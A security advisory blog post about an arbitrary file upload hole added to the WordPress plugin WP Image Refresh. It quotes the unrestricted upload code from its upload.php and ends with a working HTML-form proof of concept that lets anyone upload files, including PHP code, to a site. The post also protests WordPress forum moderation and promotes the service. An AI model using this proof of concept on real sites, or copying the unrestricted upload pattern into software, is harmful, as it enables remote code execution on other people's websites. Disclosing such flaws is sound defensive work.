Our Proactive Monitoring Caught an Arbitrary File Upload Vulnerability Being Introduced in to WP Image Refresh
One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught one of those vulnerabilities, an arbitrary file upload vulnerability, being introduced in to the plugin WP Image Refresh.
There appear to be other security issues in the plugin.
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
Arbitrary File Upload
The new version of the plugin introduces a file, upload.php, in the root directory of the plugin. That file will load up WordPress and then run additional if a request to the file includes POST input:
1 2 3 4 5 | <?php $wp_load = wp_get_web_root(); require( $wp_load.'/wp-load.php' ); global $wpdb; if(isset($_POST)) { |
Among the additional code that runs, is the following code that uploads files sent with the request with no restriction on what can be uploaded:
53 54 55 56 57 58 59 60 61 62 | if(isset($_FILES['image']['name']) && !empty($_FILES['image']['name']) && is_uploaded_file($_FILES['image']['tmp_name'][0]) > 0) { $files = $_FILES['image']['name']; foreach( $files as $key => $value ) { $image_dir = wp_get_upload_dir(); $ext = substr(strrchr($_FILES['image']['name'][$key], '.'), 1); $ext = strtolower($ext); $newName = time().'-'.$_FILES['image']['name'][$key]; $filePath = $image_dir['path']."/". $newName; move_uploaded_file($_FILES['image']['tmp_name'][$key], $filePath); |
So an attacker could upload malicious PHP code to the website and then run it.
The only limitation is that the name of the file uploaded on the server contains the time it was uploaded.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will upload the file sent with the request to the current month’s media directory in the /wp-content/uploads/ directory.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-content/plugins/wp-image-refresh/upload.php" enctype="multipart/form-data" method="POST"> <input type="file" name="image[0]" /> <input type="submit" value="Submit" /> </form> </body>